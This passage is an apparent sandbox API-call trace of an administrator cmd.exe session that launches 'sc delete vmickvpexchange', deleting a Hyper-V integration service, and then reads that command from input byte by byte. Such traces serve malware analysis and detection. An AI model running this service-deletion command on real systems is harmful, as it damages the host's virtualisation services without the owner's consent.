lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.214] GetProcessHeap () returned 0x240000 [0071.214] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259c40, Size=0xac) returned 0x259c40 [0071.214] GetProcessHeap () returned 0x240000 [0071.214] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259c40) returned 0xac [0071.214] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmickvpexchange") returned 1 [0071.215] GetProcessHeap () returned 0x240000 [0071.215] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259c40 | out: hHeap=0x240000) returned 1 [0071.215] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0071.215] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0071.215] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0071.215] GetProcessHeap () returned 0x240000 [0071.215] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0071.215] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0071.215] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0071.215] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0071.215] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.215] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.215] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0071.215] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0071.216] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0071.217] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0071.217] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.217] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0071.217] GetProcessHeap () returned 0x240000 [0071.217] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0071.217] GetProcessHeap () returned 0x240000 [0071.217] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x255c00 [0071.217] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmickvpexchange", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmickvpexchange", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete vmickvpexchange", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x754, dwThreadId=0x7b8)) returned 1 [0071.543] CloseHandle (hObject=0x50) returned 1 [0071.543] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0071.543] GetProcessHeap () returned 0x240000 [0071.543] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c230 | out: hHeap=0x240000) returned 1 [0071.543] GetEnvironmentStringsW () returned 0x25ba10* [0071.543] GetProcessHeap () returned 0x240000 [0071.543] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xae8) returned 0x25c500 [0071.543] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0071.544] LoadLibraryW (lpLibFileName="NTDLL.DLL") returned 0x77a60000 [0071.544] GetProcAddress (hModule=0x77a60000, lpProcName="NtQueryInformationProcess") returned 0x77ab14a0 [0071.544] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0071.544] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdb000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0071.544] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0072.087] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0072.087] CloseHandle (hObject=0x54) returned 1 [0072.088] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0072.088] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.088] GetProcessHeap () returned 0x240000 [0072.088] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c500 | out: hHeap=0x240000) returned 1 [0072.088] GetEnvironmentStringsW () returned 0x25ba10* [0072.088] GetProcessHeap () returned 0x240000 [0072.088] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25fb10 [0072.088] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0072.088] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.088] GetProcessHeap () returned 0x240000 [0072.088] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25fb10 | out: hHeap=0x240000) returned 1 [0072.088] GetEnvironmentStringsW () returned 0x25ba10* [0072.088] GetProcessHeap () returned 0x240000 [0072.088] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25fb10 [0072.088] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0072.088] GetProcessHeap () returned 0x240000 [0072.088] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255c00 | out: hHeap=0x240000) returned 1 [0072.088] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0072.141] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.142] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.142] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.142] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.142] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0072.142] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.142] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0072.143] GetConsoleOutputCP () returned 0x1b5 [0072.143] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0072.143] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.143] GetProcessHeap () returned 0x240000 [0072.143] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0072.143] GetProcessHeap () returned 0x240000 [0072.143] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b00 | out: hHeap=0x240000) returned 1 [0072.143] GetProcessHeap () returned 0x240000 [0072.143] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241cd0 | out: hHeap=0x240000) returned 1 [0072.143] GetProcessHeap () returned 0x240000 [0072.143] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259a80 | out: hHeap=0x240000) returned 1 [0072.143] GetProcessHeap () returned 0x240000 [0072.144] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0072.144] GetProcessHeap () returned 0x240000 [0072.144] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0072.144] GetProcessHeap () returned 0x240000 [0072.144] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2598a0 | out: hHeap=0x240000) returned 1 [0072.144] GetProcessHeap () returned 0x240000 [0072.144] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x258900 | out: hHeap=0x240000) returned 1 [0072.144] GetProcessHeap () returned 0x240000 [0072.144] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0072.144] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0072.144] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.144] GetFileType (hFile=0x120) returned 0x3 [0072.144] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.144] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.144] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0072.144] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.144] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.144] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.145] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0072.145] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.145] GetFileType (hFile=0x120) returned 0x3 [0072.145] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.145] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.145] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0072.145] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.145] GetFileType (hFile=0xb8) returned 0x3 [0072.145] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.145] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.145] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.146] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmickvpexchange\n") returned 1 [0072.146] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.146] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.146] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.146] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete vmickvpexchange\n") returned 1 [0072.146] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.146] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.146] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.146] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete vmickvpexchange\n") returned 1 [0072.146] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.146] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.146] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.146] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete vmickvpexchange\n") returned 1 [0072.146] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.146] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.146] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.147] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete vmickvpexchange\n") returned 1 [0072.147] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.147] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.147] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.147] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete vmickvpexchange\n") returned 1 [0072.147] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.147] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.147] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.147] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete vmickvpexchange\n") returned 1 [0072.147] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.147] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.147] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.147] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te vmickvpexchange\n") returned 1 [0072.147] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.147] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.147] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.147] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e vmickvpexchange\n") returned 1 [0072.148] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.148] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.148] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.148] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" vmickvpexchange\n") returned 1 [0072.148] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.148] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.148] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.148] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="vmickvpexchange\n") returned 1 [0072.148] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.148] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.148] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.148] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="mickvpexchange\n") returned 1 [0072.148] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.148] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.148] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="ickvpexchange\n") returned 1 [0072.149] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.149] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.149] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="ckvpexchange\n") returned 1 [0072.149] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.149] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.149] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="gvpexchange\n") returned 1 [0072.149] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.149] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.149] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.149] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="upexchange\n") returned 1 [0072.149] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.150] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.150] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="eexchange\n") returned 1 [0072.150] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.150] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.150] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0072.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="sxchange\n") returned 1 [0072.150] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.150] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, 